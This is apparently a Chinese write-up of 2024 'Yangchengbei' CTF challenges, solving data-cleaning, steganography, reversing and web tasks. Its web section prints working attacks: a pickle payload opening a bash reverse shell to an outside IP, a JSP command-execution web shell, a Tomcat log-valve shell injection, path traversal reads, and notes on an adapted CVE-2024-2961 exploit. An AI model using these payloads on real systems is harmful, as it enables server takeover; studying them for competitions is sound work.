2024年“羊城杯”粤港澳大湾区网络安全大赛 wp

[初赛] 数据安全

data-analy1

恢复被打乱的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import csv
import re
import pandas as pd

data = pd.read_csv("person_data.csv", encoding='utf-8')
y = data.to_dict(orient='records')


d = {'编号': '', '用户名': '', '密码': '', '姓名': '', '性别': '', '出生日期': '', '身份证号': '', '手机号码': ''}


header = data.columns.values.tolist()
with open("person_data_new.csv", "w", encoding='utf-8', newline='') as f:
f_csv = csv.writer(f)
f_csv.writerow(header)

def hanzi(data):
pattern = re.compile(r'[\u4e00-\u9fa5]{2,}')
matches = pattern.findall(data)

if len(matches) > 0:
return True



for i in y:
for _, value in i.items():
if len(value) == 18 and value[0:17].isdigit():
d['身份证号'] = value
elif len(value) == 1 and not value.isdigit():
d['性别'] = value
elif len(value) == 8 and value.isdigit():
d['出生日期'] = value
elif re.search(r'[a-fA-F0-9]{32}', value)!=None:
d['密码'] = value
elif hanzi(value):
d['姓名'] = value
elif len(value) == 11 and value.isdigit():
d['手机号码'] = value
elif value.isdigit():
d['编号'] = value
else:
d['用户名'] = value

with open("person_data_new.csv", "a", encoding='utf-8', newline='') as f:
f_csv = csv.writer(f)
f_csv.writerow(d.values())

data-analy2

与上一题类似,筛选出不符合格式的数据

先从流量包中导出数据

tshark -r data.pcapng -T fields -e http.file_data -Y "http.request" > data.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# encoding: utf-8
import csv
import json
import pandas as pd

f = open('data.txt')
e = [bytes.fromhex(i) for i in f.read().splitlines()]
f.close()

d = []
for i in e:
if i.strip():
d.append(i)
e = b'[' + b','.join(d) + b']'

d = json.loads(e)

# l = {'username': '', 'name': '', 'sex': '', 'birth': '', 'idcard': '', 'phone': ''}


import os

if os.path.exists('data.csv'):
os.remove('data.csv')

f = open('data.csv', 'w', encoding="utf-8", newline='')
f_csv = csv.writer(f)
f_csv.writerow(d[0].keys())

phum = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795,
798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774,
777, 780, 781, 789, 790, 791, 793, 799]


def check(data):
# 将data前17位数字分别乘以不同的系数。从第⼀位到第⼗七位的系数分别是: 7, 9, 10 , 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2
# 将这17位数字和系数相乘的结果相加。
# 用加出来和除以11,得到余数
# 余数的结果对应的数字即为第18位数字。如果余数是2,那么第18位数字就是x

data = data[:-1]
data = list(map(int, data))
xi = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
sum = 0
for i in range(17):
sum += xi[i] * int(data[i])
sum %= 11

if sum == 0:
data.append(str(1))
elif sum == 1:
data.append(str(0))
elif sum == 2:
data.append('X')
else:
data.append(str(12 - sum))
return data[-1]


for i in d:
for key, value in i.items():
if key == 'username':
if not value.isalnum():
print("username: " + str(i))
f_csv.writerow(i.values())
break

if key == 'name':
if not all('\u4e00' <= char <= '\u9fa5' for char in value):
print("name: " + str(i))
f_csv.writerow(i.values())
break

if key == 'idcard':
if len(value) != 18 or not value[:-1].isdigit() or value[-1] not in '0123456789X' or value[-1] != check(
value):
print("idcard: " + str(i))
f_csv.writerow(i.values())
break

if key == 'sex':
if value not in ['男', '女'] or (value == '男' and i['idcard'][16] not in '13579') or (
value == '女' and i['idcard'][16] not in '02468'):
print("sex: " + str(i))
f_csv.writerow(i.values())
break

if key == 'birth':
if len(value) != 8 or not value.isdigit() or value != i['idcard'][6:14] or int(value[:4]) not in range(1900,
2021) or int(
value[4:6]) not in range(1, 13) or int(value[6:]) not in range(1, 32):
print("birth: " + str(i))
f_csv.writerow(i.values())
break

if key == 'phone':
if len(value) != 11 or not value.isdigit() or int(value[:3]) not in phum:
print("phone: " + str(i))
f_csv.writerow(i.values())
break

data-analy3

给了三个日志文件,只有error.log有数据

部分校验与第二题类似,多了一个脱敏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import hashlib
import re
from urllib import parse


# 数据脱敏函数
def check(data, flag):
# username
if flag == 1:
if len(data) == 2:
return data[0] + '*'
else:
return data[0] + '*' * (len(data) - 2) + data[-1]
# password
elif flag == 2:
return hashlib.md5(data.encode()).hexdigest()
# name
elif flag == 3:
pattern = re.compile(r'[\u4e00-\u9fa5]+')
match = pattern.findall(data)
if len(match[0]) != len(data):
raise Exception()
if len(match[0]) == 2:
return match[0][0] + '*'
else:
return match[0][0] + '*' * (len(match[0]) - 2) + match[0][-1]
# idcard
elif flag == 4:
# 只显示年份
return '*' * 6 + data[6:10] + '*' * 8
# phone
elif flag == 5:
return data[:3] + '*' * 4 + data[-4:]


# 身份证校验
def sfz_check(data):
data = data[:-1]
data = list(map(int, data))
xi = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
sum = 0
for i in range(17):
sum += xi[i] * int(data[i])
sum %= 11

if sum == 0:
data.append(str(1))
elif sum == 1:
data.append(str(0))
elif sum == 2:
data.append('X')
else:
data.append(str(12 - sum))
return data[-1]


with open('error.log', 'rb') as f:
data = f.readlines()

pattern = re.compile(r'username=(.*?)&name=(.*?)&idcard=(.*?)&phone=(.+)')
pattern2 = re.compile(
r': ([\w\d]+?)\\n')

phum = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795,
798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774,
777, 780, 781, 789, 790, 791, 793, 799]


ds = []
i = 0
while i < len(data):
match = pattern.findall(parse.unquote(data[i].decode()))
if match:
passwddata = b''.join(data[i:i + 10]).decode()
passwd = pattern2.search(passwddata)
if passwd:
try:
if sfz_check(match[0][2]) != match[0][2][-1]:
raise Exception()
if int(match[0][3][0:3]) not in phum:
raise Exception()
if not match[0][0].isalnum():
raise Exception()
d = {'username': check(match[0][0], 1), 'password': check(passwd.groups()[0], 2),
'name': check(match[0][1], 3), 'idcard': check(match[0][2], 4),
'phone': check(match[0][3], 5)}
ds.append(d)
except:
pass
i += 10
i += 1

# print(ds)


with open('example.csv', 'w', encoding='utf-8') as f:
f.write('username,password,name,idcard,phone\n')
for d in ds:
f.write(','.join(d.values()) + '\n')

[初赛] misc

hiden

文件名提示 60=()+().txt
先rot47在rot13

得到加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import wave

with open('flag.txt', 'rb') as f:
txt_data = f.read()
file_len = len(txt_data)
txt_data = file_len.to_bytes(3, byteorder='little') + txt_data

with wave.open("test.wav", "rb") as f:
attrib = f.getparams()
wav_data = bytearray(f.readframes(-1))

for index in range(len(txt_data)):
wav_data[index * 4] = txt_data[index]

with wave.open("hiden.wav", "wb") as f:
f.setparams(attrib)
f.writeframes(wav_data)

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import wave

with wave.open("hiden.wav", "rb") as f:
wav_data = bytearray(f.readframes(-1))

txt_data = bytearray()
for index in range(0, len(wav_data), 4):
txt_data.append(wav_data[index])

file_len = int.from_bytes(txt_data[:3], byteorder='little')
original_data = txt_data[3:file_len + 3]

print(original_data.decode())

不一样的数据库_2

纯数字暴力破解,得到压缩包密码753951

二维码画上定位符扫码得到NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU

rot13得到AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH

压缩包中的另一个文件Kee.kdbx百度可知用keepass打开,密码就是二维码解密的内容

打开后查看历史修改记录,得到一串加密字符串,和提示aes

aes的密码就是打开软件后出现的DASCTF

so much

打开题目,给了一个c2hpZnQh.ad1的磁盘文件

文件尾存在额外数据:the key is: 1234567 really?

将文件名base64解码得到shift!

使用ftk的Decrypt AD1 image对附件解密,密码是1234567加上shift,即!@#$%^&

解密后继续用ftk挂载到磁盘上,发现存在344个.crypto文件

同时,文件的时间只有2021/8/5 16:192021/8/5 16:20

对秒数进行操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os

# 获取344个文件的时间
time = [''] * 344
for j in range(344):
time[j] = os.path.getmtime('S:\\' + str(j) + '.crypto')


# 按顺序转换成0和1
key = ''
for i in range(344):
if str(time[i]) == '1628151585.73009':
key += '0'
else:
key += '1'


# 344刚好可以整除8,转成字符串
key = [key[i:i+8] for i in range(0, len(key), 8)]
key = ''.join([chr(int(i, 2)) for i in key])
print(key)

得到the_key_is_700229c053b4ebbcf1a3cc37c389c4fa

使用Encrypto对两个时间不一样的文件解密即可

拼接在一起得到flag

miaoro

打开流量包筛选http流量

根据返回值的特征$$$xxxxxxxx$$$和攻击请求头中的CookieGWHT字段可以判断出是shiro反序列化攻击的流量

将Cookie中的内容进行枚举爆破,得到flag1 DASCTF{B916CFEB-C40F-45D6-A7BC-

其中有两条请求base64解码后的命令为

echo Th15_11111111s_pP@sssssw000rd!!!>pass.txt
certutil -urlcache -f "http://192.168.1.3:801/secret.txt"

将secret.txt的数据导出

发现结尾是036009000414030b405,写脚本逆序并反转字节

1
2
3
4
5
6
7
8
9
# python2
f = open('data.data', 'rb')
d = f.read()
e = ""
for i in d:
c = ord(i)
e += chr(((c & 0xf) << 4) + (c >> 4))
f = open('data.zip', 'wb')
f.write(e[::-1])

使用上面的密码解压得到flag2.jpg

画面明显被分割了,尝试修改高宽

网上找一个字母表对应后得到EBOFDELQDIAA}

Check in

附件压缩包中的注释base58解码得到Welcome2GZ

根据提示用wbs43open解txt隐写

解出得到一个log文件,是TLS的密钥log,导入到wireshark中

将附件txt内容转成pcapng后打开后发现上传了一个flag.gif

使用identify分析,发现gif每帧的间隔时间在3和23转换

1
2
identify -format "%T, " 1.gif
3, 23, 3, 23, 3, 23, 3, 23, 3, 23, 3, 23, 23, 23, 23, 23, 3, 3, 23, 23, 3, 3, 3, 3, 3, 23, 23, 23, 3, 23, 23, 23, 3, 23, 3, 3, 23, 23, 23, 3, 3, 23, 3, 23, 23, 23, 23, 23, 3, 3, 23, 23, 3, 3, 3, 23, 3, 23, 3, 23, 3, 23, 3, 3

将23转成1,3转成0后转字符串

1
2
3
4
5
6
7
8
9
10
11
a = [3, 23, 3, 23, 3, 23, 3, 23, 3, 23, 3, 23, 23, 23, 23, 23, 3, 3, 23, 23, 3, 3, 3, 3, 3, 23, 23, 23, 3, 23, 23, 23, 3, 23, 3, 3, 23, 23, 23, 3, 3, 23, 3, 23, 23, 23, 23, 23, 3, 3, 23, 23, 3, 3, 3, 23, 3, 23, 3, 23, 3, 23, 3, 3]

a = [1 if x == 23 else 0 for x in a]

binary_string = ''.join(map(str, a))

chars = [chr(int(binary_string[i:i+8], 2)) for i in range(0, len(binary_string), 8)]
result = ''.join(chars)
print(result)

# U_0wN_1T

1z_misc

1
2
3
天地玄黄,宇宙洪荒;日月盈昃,辰宿列张;万物芸芸,息息相关;是以十二岁而行二十八宿,其间奥妙,待探寻,显真章。
若女可为11,可为1124......觜可为91,亦可为725......如此往复,周而复始。
祈解其秘:[43,101,55,16,16,1017,28,812,824,43,55,226,101,55,55,415,1017,1027,28,28,617,824,28,812,1027,16,101,16,55,1027,1017,28,16]

结合例子和hint的图片可以得知

将数字拆成两部分

第一部分从子开始数,比如1就是子,4就是卯,10就是酉。。。。
第二部分的数字表述对应星宿的位置(格子中从右往左逆时针数),比如子的1就是女,卯的3就是心

将题目给的数组转成对应的文字

1
心,胃,心,奎,奎,心,奎,心,胃,心,心,心,胃,心,心,胃,心,奎,奎,奎,奎,胃,奎,心,奎,奎,胃,奎,心,奎,心,奎,奎

只有三种文字,将心替换成. 胃替换成/ 奎替换成-

解摩斯得到密码E@SI1Y!

解压后看flag文件尾,符合lyra文件特征,同时hint.jpg中的天琴座也表明是lyra

bazel-bin/lyra/cli_example/decoder_main --encoded_path=flag.lyra --output_dir=./ --bitrate=3200

得到一段wav

在线语音转文本(语速有点快,可以au降速后去识别)后,得到一段社会主义编码,解码得到flag

[初赛] reverse

pic

爆破五位十六进制得到rc4密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import os

from mcrypt import *

class rc4():
def toBytes(self,data):
if type(data)==str:
return data.encode()
elif type(data)==bytes:
return data
else:
raise Exception("data Type Error")

def GetKey(self,data):
k=[]
k1=[]
data_l=len(data)
for i in range(256):
k.append(i)
a="adsf"

k1.append(data[i%data_l])
n=0
for i in range(256):
n=(k1[i]+n+k[i])&0xff
n1=k[i]
k[i]=k[n]
k[n]=n1
return k

def Cipher(self,data):
data=self.toBytes(data)
enc=[]
k=self.Key.copy()
n=0
n1=0
tmp=0
for i in range(len(data)):
n=(n+1)&0xff
n1=(n1+k[n])&0xff
tmp=k[n]
k[n]=k[n1]
k[n1]=tmp
enc.append(data[i]^0x11^k[(k[n]+k[n1])%256])
return bytes(enc)


def __init__(self,key):
key=self.toBytes(key)
self.Key=self.GetKey(key)
self.__Key=key

def SetKey(self,key):
key=self.toBytes(key)
self.Key=self.GetKey(key)
self.__Key=key

base_=b"0123456789abcdef"
data=[0x85,0x43,0x72,0x78,0x26]
for i in Gendic(base_,5,True):
e=[i[1]^j for j in data]
# print(i)
# print(e)
r=rc4(bytes(i))
d=r.Cipher(bytes(e))
if d==b'\x89\x50\x4e\x47\x0d':
print(i)
break

你这主函数保真么

离散余弦变换DCT,套模板代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import numpy as np

def idct(dct_data):
N = len(dct_data)
result = np.zeros(N)

for n in range(N):
sum_value = 0.0
for k in range(N):
cos_term = np.cos((k * 3.14159265 * (n + 0.5)) / N)
if k == 0:
sum_value += dct_data[k] * np.sqrt(1.0 / N) * cos_term
else:
sum_value += dct_data[k] * np.sqrt(2.0 / N) * cos_term
result[n] = sum_value

return result

def decrypt_to_ascii(dct_data):
decrypted_data = idct(dct_data)
int_data = np.rint(decrypted_data).astype(int)
char_data = [chr(num) for num in int_data]
return ''.join(char_data)

encrypted_data = [513.355,
-37.7986,
8.7316,
-10.7832,
-1.3097,
-20.5779,
6.98641,
-29.2989,
15.9422,
21.4138,
29.4754,
-2.77161,
-6.58794,
-4.22332,
-7.20771,
8.83506,
-4.38138,
-19.3898,
18.3453,
6.88259,
-14.7652,
14.6102,
24.7414,
-11.6222,
-9.754759999999999,
12.2424,
13.4343,
-34.9307,
-35.735,
-20.0848,
39.689,
21.879,
26.8296]

decrypted_message = decrypt_to_ascii(encrypted_data)

print(decrypted_message)
#QNFPGS{Ju0_1f_Zn1a_@aq_ShaaL_Qpg}

在进行一次rot13

DASCTF{Wh0_1s_Ma1n_@nd_FunnY_Dct}

docCrack

用微步云沙箱进行分析,可以看到 vba 宏代码,且释放了一个二进制文件

通过样本提取把最后一个释放的 temp 文件进行提取,再进行 base64 解密后,就是一个二进制文件,且加密就一处

1
2
for ( j = 0; j < (int)j_strlen(argv[1]) && (unsigned __int64)j < 0x36; ++j )
v10[j + 64] = argv[1][j] << 6;

在 vba 宏代码处,还存在一个加密

1
For i = 1 To Len(inflag) res = Chr(Asc(Mid(inflag, i, 1)) Xor 7) Result = Result

直接提取密文解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
v10 = list(range(54))
v10[0] = 4288;
v10[1] = 4480;
v10[2] = 5376;
v10[3] = 4352;
v10[4] = 5312;
v10[5] = 4160;
v10[6] = 7936;
v10[7] = 5184;
v10[8] = 6464;
v10[9] = 6528;
v10[10] = 5632;
v10[11] = 3456;
v10[12] = 7424;
v10[13] = 5632;
v10[14] = 6336;
v10[15] = 6528;
v10[16] = 6720;
v10[17] = 6144;
v10[18] = 6272;
v10[19] = 7488;
v10[20] = 6656;
v10[21] = 7296;
v10[22] = 7424;
v10[23] = 2432;
v10[24] = 2432;
v10[25] = 2432;
v10[26] = 5632;
v10[27] = 4416;
v10[28] = 3456;
v10[29] = 7168;
v10[30] = 6528;
v10[31] = 7488;
v10[32] = 6272;
v10[33] = 5632;
v10[34] = 3520;
v10[35] = 6208;
v10[36] = 5632;
v10[37] = 4736;
v10[38] = 6528;
v10[39] = 6400;
v10[40] = 7488;
v10[41] = 3520;
v10[42] = 5632;
v10[43] = 5184;
v10[44] = 3456;
v10[45] = 7488;
v10[46] = 7296;
v10[47] = 3200;
v10[48] = 6272;
v10[49] = 0x1D00;
v10[50] = 0x980;
v10[51] = 0x980;
v10[52] = 0x980;
v10[53] = 0x1E80;

for i,v in enumerate(v10):
value=v;
value = chr((value >> 6)^7)
print(value, end='')

DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}

[初赛] web

Lyrics For You

lyrics?lyrics=../app.py

任意文件读取得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
def __init__(self, username):
self.username = username


def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid


@app.route("/", methods=['GET'])
def index():
return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)

try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res


@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)

if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")

if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)

导入了config.secret_keycookie,通过任意文件读取再次拿到源码

1
secret_code = "EnjoyThePlayTime123456"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None


def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid


def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False


def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default


def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')

if len(value) > 4096:
raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

其中/board路由会读取cookie,并进行一次pickle.loads

在本地制作一个cookie后复制到靶机即可实现pickle反序列化

waf很宽松,约等于没有,使用i执行反弹shell即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import cookie
from flask import Flask

secret_code = "EnjoyThePlayTime123456"
app = Flask(__name__)
payload = b'''(S'bash -c "bash -i >& /dev/tcp/47.99.77.52/8888 0>&1"'
ios
system
.'''


@app.route("/")
def index():
return cookie.set_cookie("user", payload, secret=secret_code)


if __name__ == '__main__':
app.run()

tomtom2

题目给了一个只能读xml文件的接口

那就去读tomcat的配置文件

/myapp/read?filename=conf/tomcat-users.xml

tomcat-users中存在后台账号密码

1
<user username="admin" password="This_is_my_favorite_passwd" roles="manager-gui"/>

登录后有一个文件上传,测试后发现只能上传xml文件,同时上传的path参数是可控的

那么可以覆盖靶机的WEB-INF/web.xml文件来自定义一个Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>shell</servlet-name>
<jsp-file>/WEB-INF/1.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>shell</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>
</web-app>

然后再传一个1.xml小马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c)
{
StringBuilder line = new StringBuilder();
try
{
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null)
{
line.append(temp+"\\n");
}
buf.close();
}
catch (Exception e)
{
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
out.println(":-)");
}
%>

然后访问/myapp/shell即可rce

tomtom2_revenge

前面和tomtom2一样,只是不能上传web.xml了,但还能上传其他xml,这样可以传一份context.xml

通过设置日志路径来写入jsp文件

修改下得到

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<Context>
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="/opt/tomcat/webapps/myapp/" prefix="log" suffix=".jsp" pattern="%{User-Agent}i" resolveHosts="false" />
</Context>

然后上传,这里要注意上传到META-INF目录中,而不是WEB-INF目录

再访问一次,User-Agent中带上jsp代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /myapp/upload.html HTTP/1.1
Host: 139.155.126.78:31506
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: <%= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter(request.getParameterMap().keySet().toArray(new String[0])[0])).getInputStream()).useDelimiter(request.getParameter(request.getParameterMap().keySet().toArray(new String[0])[1])).next() %>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://139.155.126.78:31506/myapp/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=1C384267B4E8256CC990EE792436ECBA
Connection: keep-alive


然后请求/myapp/log.2024-08-28.jsp?cmd=ls&1=%5CA

网络照相馆

ssrf拿到源码

file://localhost/var/www/html/url.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
//error_reporting(0);
include_once 'function.php';
include_once 'sql.php';

$baseDir = "data/";

if(isset($_POST['url']))
{
$url = $_POST['url'];
$parse = parse_url($url);
if(!isset($parse['host']))
{
die("url错误!");
}
$data = curl($url);
$filename = $baseDir . get_filename(8);
file_put_contents($filename , $data);
if (check($conn, $filename, $url)){
file_put_contents($filename , $data);
$sql = "INSERT INTO `data`(`url`,`filename`) VALUES (?, ?)";
if($stmt = mysqli_prepare($conn, $sql)){
mysqli_stmt_bind_param($stmt, "ss", $url, $filename);
mysqli_stmt_execute($stmt);
}
}
else{
unlink($filename);
}
echo $data;
}
?>

file://localhost/var/www/html/function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

function curl($url){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$tmpInfo = curl_exec($curl);
curl_close($curl);
return $tmpInfo;
}

function get_filename($len){
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
$var_size = strlen($chars);
$res = '';
for( $x = 0; $x < $len; $x++ ) {
$random_str= $chars[ rand( 0, $var_size - 1 ) ];
$res .= $random_str;
}
$res = date("Y-m-d"). '_' . $res . '.txt';
return $res;
}

function check($conn , $filename, $url){
$sql = "SELECT filename from data where url = '$url'";
$result = $conn->query($sql);
if ($result) {
$row = mysqli_fetch_all($result);
foreach ( $row as $value){
if( hash_file('md5', $filename) === hash_file('md5', $value[0])){
return false;
}
}
}
return true;
}

公告提示说注意hash_file函数,那就很明显可以配合sql注入打hash_file的 CNEXT (CVE-2024-2961)

调整后的exp

1:在Remote类中修改读取文件的逻辑,本题中用file://localhost读取/proc/self/maps和libc
2:修改exploit的path,搭配sql注入发送payload给hash_file
3:注释掉self.check_vulnerable()的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
